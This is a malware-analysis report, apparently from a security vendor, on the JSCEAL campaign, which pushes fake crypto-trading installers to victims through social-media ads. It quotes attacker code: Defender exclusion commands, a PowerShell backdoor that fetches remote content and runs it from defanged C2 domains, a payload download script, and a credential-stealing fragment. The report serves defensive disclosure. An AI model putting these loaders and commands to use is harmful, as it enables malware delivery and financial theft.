
Following our VIEW8 publication, an open source tool for analysis of Compiled JavaScript files (JSC), we are continuously tracking the usage of such files by threat actors. Among the threats we identified, a significant campaign caught our attention, which we call JSCEAL. The campaign, which impersonates common crypto trading apps, has been active since at least March 2024 and has gradually evolved over time.
In the campaign’s latest iteration, the threat actors adopted unique anti-analysis mechanisms. These mechanisms are kicked off by MSI installers downloaded from fake websites which are promoted by malicious advertisements. Following the initial infection, an elaborate script-based fingerprinting chain kicks off, eventually leading to the final JSC payload.
The unique anti-evasion methods used in this campaign, in combination with the adoption of JSC to execute the final payload, has led to extremely low detection rates, especially considering its wide distribution. During our analysis, hundreds of samples associated with this activity were submitted to VirusTotal and were undetected for a prolonged period of time.
While some parts of this campaign were discussed publicly, in this blog we highlight the technical details of the latest iteration of the JSCEAL campaign, focusing on its deployment. During finalization of this research, we recently came across a whitepaper covering significant portions of this activity under the name “WeevilProxy. The findings in this report are correlated with our understanding of the JSCEAL campaign.
Compiled V8 JavaScript is a lesser-known feature in V8, Google’s JavaScript engine, that enables the compilation of JavaScript into low-level bytecode. This technique helps attackers to evade static detections and hide their original source code, making it almost impossible to analyze statically. Earlier, we published VIEW8, an open-source tool to decompile such files.
Among the various campaigns that utilize JSC files, the JSCEAL campaign stands out for its scale, reach, and technical sophistication. First observed in March 2024, JSCEAL has evolved considerably since its inception.
JSCEAL began with limited activity but has grown into a far more sophisticated operation. In the campaign’s latest phase, the threat actors acquired a large number of domains and adopted distinctive techniques to evade detection, including sometimes avoiding deploying the final payload. While it’s difficult to measure the full extent of its reach, several findings throughout our research suggest this campaign has had a significant impact.
Our analysis of the advertising campaign suggests it has generated millions of views, prompting users to download the malicious installers. Despite its broad deployment, the campaign continues its stealth operations. Recent variants of the installers remain undetected on VirusTotal despite being submitted more than a hundred(!) times. More recently, as parts of the campaign were exposed, some of its components were flagged as malicious.
The deployment of the most recent version of JSCEAL is multi-layered and involves three main stages: Initial Deployment, Profiling Scripts, and the Final JSC Payload. We focus on the first two stages, which evolved significantly since we first encountered this campaign.
The initial stage of the campaign leverages malicious advertisements to lure users to download a malicious MSI installer from an attacker-controlled website. The threat actors implemented a unique mechanism that requires both the malicious site and the installer to run in parallel for successful execution, which significantly complicates analysis and detection efforts.
The infection chain starts with paid malvertising on social media. The actors use either stolen accounts or newly created ones to write malicious posts and increase their reach with paid promotions. The malicious advertisements are usually related to various cryptocurrencies, tokens, and financial institutions. We observed almost 50 different financial institutions who were impersonated in this campaign.
To date, the actors impersonated dozens of different brands. The table in Appendix A lists the forms of impersonation we identified, whether through an existing subdomain, an installer file, or both. Any identified malicious advertisements or fake websites are listed in a separate column.
Most of the advertisements do not contain direct links to the landing pages. Instead, there is typically one layer of redirection, which leads either to a landing page or a decoy page.
The domain names used in the redirection chain are not completely random but follow specific naming conventions:
.com
app
, download
, desktop
, pc
, window
s
), but not both within the same domain nameEach domain may include one or more subdomains. These subdomain names usually resemble the brands the actors attempt to impersonate.
Using combinatorics, we estimate that 560 unique domain names comply with the four rules above. At the time of publication, only about 15% of these domains appear to be registered. While not all are linked to this specific campaign, most of them are. The redirection domains associated with this activity are listed in the IOC section.
After the victim clicks the link, a first layer of filtering is applied—meaning not every target is redirected to the fake webpage. If the target’s IP address is not within the desired range, or the referrer is not Facebook, a decoy website is displayed instead.
If the redirection criteria are met, the target is redirected to a fake website that appears legitimate and offers to download and install the application.
After clicking the download button, the target is offered an MSI installer file. The installation is accompanied by a short three-page tutorial that encourages the target to complete the setup.
Interestingly, the website includes a JavaScript script that attempts to communicate with a localhost server on port 30303. At this stage, no server is listening on that port, so the request returns a 502 – Bad Gateway status code.
The fake website is essential for the installer to function. The infection flow cannot proceed without it, and any static analysis of the installer alone will be inconclusive.
The website hosts two JavaScript files:
The tracking methods used by the primary script include PostHog, Meta Pixel, and Google Analytics. However, only the PostHog integration is actually initialized. All campaign metadata is stored in a PARAMS
JSON object, which includes:
site
: The name of the impersonated financial platform.utm_campaign
: A value ending in 1406, suggesting the installer launch date of June 14, 2025.<script> window.PARAMS = { ... "site": " #48 TradingView (New Version)", ... "utm_campaign": "TradingView1406", ... } </script>
The worker script is responsible for communicating with localhost. The script defines the localhost IP address (127.0.0.1) and port (30303) and contains an array of WMI commands that it later requests to execute.
const localhost = "hxxp://127.0.0.1:30303"; const WMIs = [ "SELECT Manufacturer, Name, Version FROM Win32_BIOS", "SELECT Name, Manufacturer, Domain, Model, NumberOfLogicalProcessors FROM Win32_ComputerSystem", "SELECT Name, Version, RegisteredUser FROM Win32_OperatingSystem" ];
Determining the full scope of a malicious campaign is often not possible. Fortunately for us as researchers, the European Union adopted the Digital Services Act, which promotes “transparent advertising.” We leveraged Meta’s Ad Library to estimate a lower bound on the scale of the malvertising campaign.
We searched for all known domains and subdomains discovered using the method described in the “Redirection Chain” section. Each search in the Ad Library provides an estimate of the number of ads containing the corresponding malicious domain. Many of these ads reuse the same image, video, or text, but vary in start dates, geographic targeting, or ad budgets. These ads are often short-lived and typically remain active for only a few hours.
We limited our search to the first half of 2025 (January 1–June 30). Out of a few hundred queries, approximately 120 returned results which amounted to a total of around 35,000 ads.
For each advertisement, the Ad Library provides its reach, defined as “the number of Accounts Center accounts in the EU that saw this ad at least once.” It’s important to note that reach does not equal the number of victims. While we did not query every individual ad, we observed reach values ranging from as low as 1 to as high as several thousand.
However, if we very conservatively assume that each ad reached only 100 users in the EU, we can estimate the total reach of the malvertising campaign at 3.5 million within the EU alone.
Note that these numbers do not account for non-EU countries, and some campaigns impersonated Asian crypto and financial institutions. The total number of social media users in those countries is even higher than the EU’s social media user base, so the global reach could easily exceed 10 million.
After the user starts the installation, the MSI installer (created with WIX Toolset) invokes the CustomAction function. This function is exported by the CustomActions.dll
, embedded in the MSI. It also extracts additional components:
TaskScheduler.dll
– Custom-made DLL responsible for creating scheduled task.WMI.dll
– Custom-made DLL responsible for executing a set WMI commands.NewtonSoft.dll
– Json framework for .NETMicrosoft.Win32.TaskScheduler.dll
– .NET wrapper for Windows Task Scheduler.Interestingly, most of the installers (and DLLs inside the installers) are signed by valid certificates. Most of these certificates belong to Russian non-IT related companies with businesses in trading and energy. The table in Appendix B lists the certificates we observed. For Russian names, we also include the translation to English.
The CustomAction.dll
is responsible for loading the other DLL components and also initiates the HTTP listeners on http://localhost:30303
to handle the POST requests coming from the fake website. To evade detection, the listening URL is supplied as an obfuscated argument, which is then deobfuscated by the CustomAction function:
To ensure the victim does not suspect abnormal activity, the installer opens a webview using msedge_proxy.exe
to direct the victim to the legitimate website of the application.
The malicious installer’s final two components are custom DLLs unpacked during installation. Each DLL handles a distinct POST request from the fake website, which is intercepted by the local listener. These modules and the fake websites are interdependent: If any component fails, the entire infection chain collapses.
The first module, WMI.dll
, processes all /q
URIs. These requests include a set of WMI commands to execute, which gather basic machine information and start the victim’s initial registration:
public static object bring(HttpListenerRequest dismiss, HttpListenerResponse labor, object cruise) { if (dismiss.HttpMethod != "POST") ... if (dismiss.Url.AbsolutePath != "/q") ... JArray jarray = cruise as JArray; ... List<object> list = new List<object>(); foreach (JToken jtoken in jarray) { object obj = enjoy.garment(jtoken.ToString()); list.Add(obj); } Dictionary<string, object> dictionary = new Dictionary<string, object>(); dictionary["machineId"] = text; dictionary["results"] = list; return dictionary; }
The other module, TaskScheduler.dll
, kicks off the rest of the infection chain. It handles all /s
requests in a similar manner and expects a JSON object containing an XML script to create a scheduled task. This task triggers a chain of PowerShell executions that initiate the infection’s fingerprinting phase.
public static object donor(HttpListenerRequest chef, HttpListenerResponse gallery, object gap) { if (chef.HttpMethod != "POST") { return null; } if (chef.Url.AbsolutePath != "/s") { return null; } JObject jobject = gap as JObject; using (TaskService taskService = new TaskService()) { string text = jobject["name"].ToString(); string text2 = jobject["xml"].ToString(); taskService.GetFolder("\\").RegisterTask(text, text2, TaskCreation.CreateOrUpdate, null, null, TaskLogonType.S4U, null).Run(Array.Empty<string>()); } throw new NotImplementedException(); }
After the user completes all the installation steps, the HTTP listeners can finally handle the POST requests.
The second phase of the infection is initialized by the scheduled task created by the installer. The scheduled task is defined by an XML payload containing:
name
– Scheduled task namexml
<Triggers>
– A unique <EventTrigger>
that launches the task whenever any event in the Application event log matches the specified filter (severity levels 0, 1, 4, 5, 111, and Event IDs 2–65501 or 911).<Principals>
– Runs under the SYSTEM account (S-1-5-18
) at the highest available privilege level.<Settings>
– Controls behavior such as allowing multiple instances to queue, running on demand, ignoring battery state, never timing out, etc.<Actions>
– ThreeAdd-MpPreference -ExclusionProcess (Get-Process -PID $PID).MainModule.ModuleName -Force
Add-MpPreference -ExclusionPath (Get-Location) -Force
$TaskName = "WindowsSoftwareHealthCheckerTask"
$APIs = @("xhab.grpc-test[.]me", "llr.experimental-tech[.]com")
...
$Response = Invoke-WebRequest -Uri $API -WebSession $WebSession -Headers @{ "X-Machine-Id" = $GUID } -UseBasicParsing
...
Invoke-Expression $Content
...
The script’s invocation ensures that all PowerShell scripts run under the same process ID and inherit any environment variables declared in previous executions.
The scheduled task serves as the victim’s initial registration, extracting the MachineGuid
value from the registry key HKLM:\SOFTWARE\Microsoft\Cryptography
.
Next, the attacker gathers extensive machine information: Installed software, UAC settings, proxy configuration, location, system and network details, email data, and more. All of this information is compiled into a JSON file, exfiltrated to the operators, and held pending further commands.
If the operators decide the victim is valuable, they invoke additional PowerShell code to download and execute the operation’s final stage which is typically hosted on a Cloudflare Pages (pages.dev
) domain.
The final payload arrives in two ZIP archives:
winpty-agent.exe
– https://github.com/rprichard/winptywinpty.dll
– https://github.com/rprichard/winptyapp.jsc
– The JSCeal malware payloadpreflight.js
– JSC decompression script.node
modules required by the JSC runtimeWhen operators lose interest in a compromised machine, they may run a cleanup script that deletes all Node.js–related files. We observed this action shortly after parts of this campaign were publicly exposed.
$Directory = "DomainAuthHost" Remove-Item "$env:SystemDrive\Recovery\OEM" -Recurse -Force Unregister-ScheduledTask -TaskName $TaskName -Confirm:$false Stop-Process "node" -Force Remove-Item $Directory -Recurse -Force New-PSDrive HKU Registry HKEY_USERS -ErrorAction SilentlyContinue Get-ChildItem -Path "HKU:\" -Name | ForEach-Object { Set-ItemProperty "HKU:\$_\Software\Microsoft\Windows\CurrentVersion\Internet Settings" ProxyEnable -Value 0 } exit
The final, and most interesting payloads distributed in this campaign, are compiled JavaScript files (JSC). These files cannot run on their own but require a Node.JS platform to execute them. We named these unique payloads “JSCEAL.” This sophisticated piece of malware is designed to gain absolute control of the victim machine, while being resilient against conventional security tools. The combination of compiled code and heavy obfuscation, while displaying a wide variety of functionality, made analysis efforts challenging and time-consuming. Therefore, we’ll save the deep dive into its distinctive features for a forthcoming publication.
The payloads and the Node executable are distributed by the PowerShell backdoor as explained previously. After the attackers validate the victim, they invoke the following script, using that backdoor:
[REDACTED] ... New-PSDrive HKU Registry HKEY_USERS -ErrorAction SilentlyContinue Get-ChildItem -Path HKU:\ -Name | ForEach-Object { Set-ItemProperty HKU:\$_\Software\Microsoft\Windows\CurrentVersion\Internet Settings ProxyEnable -Value 0 } $Manifest = hxxps://resolve-ns.pages[.]dev/manifest.json $Directory = DomainAuthHost $RuntimeName = node.zip $BuildName = build.zip ... [REDACTED] ... $RuntimeLastExecutionTime = Measure-Command { $env:TASK_NAME = $TaskName .\node.exe -r .\preflight.js .\app.jsc } ... [REDACTED]
This C2 server hosts both compressed files, the Node one containing Node.JS, and build.zip
containing the JSCEAL payload along additional modules. The script validates the files hashes before extracting them to the working directory.
. ├── build │ ├── 0.2liw1bkqjay.node │ ├── 0.b1hmtzsvv1p.node │ ├── 0.bli2f3rsbks.node │ ├── 0.eaua8txreio.node │ ├── app.jsc │ ├── preflight.js │ ├── winpty-agent.exe │ └── winpty.dll ├── node.exe
The final JSC payload is distributed compressed via https://github.com/google/brotli algorithm, and is decompressed by the preflight.js
in the execution process:
.\node.exe -r .\preflight.js .\app.jsc
The decompressed V8 code can be examined using the VIEW8 tool, which reveals a heavily obfuscated code. The attackers seem to use https://github.com/javascript-obfuscator/javascript-obfuscator to obfuscate their malware. This obfuscator manipulates the flow of the code, as well as the strings, to make them fragmented and difficult to follow.
After the smooth launch of the JSC, it starts communicating with Cloudflare DNS 1.1.1.1
over HTTPS to resolve 2 subdomains, dedicated as C2 servers specifically for this payload.
After resolving the C2 domain, JSCEAL establishes a tRPC connection with the C2 server. It subscribes to several event triggers and waits for these events to receive commands from the attackers.
function init_trpc_client() { set_config(); set_machineID(); tRpcClientClass(); const rpc_url = config["services"]["rpc"]; const rpcClient = { url: rpc_url, query: { machineId: MachineID } }; const ws_client = { client: trpc_createWSClient(rpcClient) }; trpc_client = trpc_createTRPCClient({ links: [ trpc_wsLink(ws_client) ] }); }
The payload also establishes a local proxy and installs embedded certificates using certutil.exe
. This proxy intercepts the user’s web traffic, injects malicious scripts into banking, cryptocurrency, and other sensitive websites, and captures credentials in real time. This functionality is characteristic of a Man-in-the-Browser Trojan (such as the well-known Zbot).
function func_unknown_0x38666b0d3a91() { r2 = new {"joTLe": null} r2["joTLe"] = func_joTLe_0x38666b0d45f1 r1 = r2 r2 = func_joTLe_0x38666b0d45f1 ACCU = r2("ts") ACCU = "G2"() r2 = "Yt"["services"] r2 = r2["api"] r2 = (r2 + "/secrets/save?machineId=") "AM" = (r2 + "P0") r2 = new {"generic": null} r3 = "(url, application, extra) => {\n\x09\x09const { document, JSON, fetch, setInterval } =window;\n\x09\x09const passwords = new Set();\n\n\x09\x09window.addEventListener" r3 = (r3 + "("foc") [...]
The main purpose of JSCEAL is to steal sensitive user information, primarily crypto-related. This tool uses various of techniques including:
This stealer also serves as a RAT (Remote Access Trojan), as it can execute remote PowerShell commands. It also uses Puppeteer to automate user actions. The following components are included:
app.jsc
) for scripting web interactions.build.zip
) to automate command-line tasks and launch powershell payloads.The JSCEAL payload loads additional Node modules that are also bundled in the payload zip file. Those modules appear to be helper libraries for the Puppeteer integration. For example, one of the Node modules contains mouse tracking and control functionality.
Cybercrime actors continue to weaponize legitimate applications and platforms to compromise unsuspecting users and exfiltrate sensitive data for financial gain. While such masquerading techniques are well established, the adoption of Node.js to load compiled JavaScript (JSC) payloads, as demonstrated by JSCEAL, represents a notable shift. Using JSC files allows attackers to simply and effectively conceal their code, helping it evade security mechanisms, and making it difficult to analyze.
The JSCEAL payload we observed is part of a larger trend, involving the usage JSC-based payloads. Although these kinds of payload have a low detection rate, they still depend on legitimate frameworks that can be monitored by security solutions. Detecting malicious executions of JSC application, as showcased in this article, will be very effective against such threats.
Check Point Threat Emulation and Harmony Endpoint provide comprehensive coverage of attack tactics, filetypes, and operating systems, and protect against the attacks and threats described in this report.
JSCEAL – InfoStealer.Win.JSCeal.A
Installer- Dropper.Wins.JSCEAL.ta.C
JCEAL C2
Intermediate C2
Redirection Domains
build[.]zip
MSI Installers
JSCEAL Payload
Brand name | What is it? | Where was it seen (as subdomain name or inside installer) | Did we see ads and/or reached landing (fake) sites? | Official URL + comment | |
---|---|---|---|---|---|
1 | WOWBIT | Crypto Exchange | subdomain + installer | ads + fake site | https://wowbit.com/ |
2 | Binance | Crypto Exchange | subdomain + installer | ads + fake site | https://www.binance.com/en |
3 | Bybit | Crypto Exchange | subdomain + installer | ads + fake site | https://www.bybit.com/en/ |
4 | OKX | Crypto Exchange | subdomain + installer | ads + fake site | https://www.okx.com/ |
5 | KuCoin | Crypto Exchange | subdomain | ads(removed) | https://www.kucoin.com/ |
6 | Crypto | Crypto Exchange | subdomain | ads(removed) | https://crypto.com/ |
7 | UPbit | Crypto Exchange | subdomain + installer | ads(removed) | https://upbit.com/ |
8 | Bitget | Crypto Exchange | subdomain + installer | ads + fake site | https://www.bitget.com/ |
9 | Remitano | Crypto Exchange | subdomain + installer | ads + fake site | https://remitano.com/ |
10 | Solflare | Crypto Wallet | subdomain + installer | ads + fake site | https://www.solflare.com/ |
11 | Ledger | Crypto Wallet | subdomain + installer | https://www.ledger.com/ | |
12 | Pi Network | Cryptocurrency | subdomain + installer | ads + fake site | https://minepi.com/ |
13 | Monero | Cryptocurrency | subdomain | https://www.getmonero.org/ | |
14 | TradingView | Trading platform | subdomain + installer | ads + fake site | https://www.tradingview.com/ |
15 | DAO Maker | Blockchain platform | subdomain | ads(removed) | https://app.daomaker.com/ |
16 | Revolut | Financial app | subdomain + installer | ads + fake site | https://www.revolut.com/ |
17 | Kasikornbank | Thai bank | installer | https://www.kasikornbank.com/ | |
18 | bee.com | Cryptocurrency | installer | https://www.bee.com/ | |
19 | kfc | Cryptocurrency | subdomain + installer | Likely a token of Kentucky Fried Chicken – https://kfc.global | |
20 | stake.com | Online casino | installer | https://stake.com/ | |
21 | 3commas.io | Trading platform | installer | https://3commas.io/ | |
22 | lbank.com | Crypto Exchange | subdomain + installer | ads + fake site | https://www.lbank.com/ |
23 | Gate.io | Crypto Exchange | subdomain + installer | ads + fake site | https://www.gate.io/ |
24 | Phantom | Crypto Wallet | subdomain | ads | https://phantom.com/ |
25 | trmp | Cryptocurrency | subdomain | ads(removed) | likely TrumpCoin – https://gettrumpmemes.com/ |
26 | pdax.ph | Crypto Exchange | installer | https://pdax.ph/ | |
27 | MetaMask | Crypto Wallet | subdomain | ads(removed) | https://metamask.io/ |
28 | BitcoinVN | Crypto Exchange | subdomain | https://bitcoinvn.io/ | |
29 | Bitkub | Crypto Exchange | subdomain | ads(removed) | https://www.bitkub.com/ |
30 | Bitazza | Crypto Exchange | subdomain | https://www.bitazza.com/ | |
31 | MetaTrader | Trading platform | subdomain + installer | ads + fake site | https://www.metatrader5.com/en |
32 | CoinHub | Crypto Exchange | subdomain | ads(removed) | https://www.coinhub.mn/ |
33 | eToro | Trading platform | subdomain | https://www.etoro.com/ | |
34 | TrustWallet | Crypto Wallet | subdomain | ads(removed) | https://trustwallet.com/?utm_source=cryptwerk |
35 | Bithumb | Crypto Exchange | subdomain | https://bithumbcorp.com/en/ | |
36 | GMGN | Trading platform | subdomain | https://gmgn.ai/ | |
37 | DEX Screener | Crypto analytics platform | subdomain + installer | ads + fake site | https://dexscreener.com/ |
38 | Topshare | Portfolio manager | subdomain | https://www.topshare.com.au/ | |
39 | Mercado Bitcoin | Crypto Exchange | subdomain | https://www.mercadobitcoin.com.br/ | |
40 | TON | Blockchain platform | subdomain + installer | ads + fake site | https://ton.org/ |
41 | Token Metrics | Crypto platform | subdomain + installer | ads + fake site | https://www.tokenmetrics.com/ |
42 | HTX | Crypto exchange | subdomain + installer | ads + fake site | https://www.htx.com/ |
43 | Kraken | Crypto exchange | subdomain | https://www.kraken.com/ | |
44 | Akka Finance | Decentralized finance (DeFi) platform | subdomain | https://app.akka.finance | |
45 | VinDAX | Crypto exchange | subdomain | https://vindax.com/ | |
46 | Dogecoin | Cryptocurrency | installer | https://dogecoin.com/ | |
47 | Twex Exchange | Crypto exchange | installer | https://www.twex.exchange/ | |
48 | Lutia NWL | Trading platform | installer | official site https://lutianwl.com |
Company name | Translation to English |
---|---|
LLC MIR RTI | “Мир Резиновых Технических Изделий” = “World of Rubber Technical Products” |
LLC Torgovyi Dom Energia | “Торговый Дом Энергия” = “Energy Trading House” |
LLC Stroytorg | “Строй Торг” = Trade of construction-related goods or services |
LLC Gazovaya Kompaniya | “Газовая Компания” = “Gas Company” |
LLC Promtrade | “Пром Торг” = ”промышленность торговля”=”industrial trade” |
LLC Kraft Market | “Крафт Маркет” = Power market (from German) |
LLC Fashion One | |
LLC Plan B |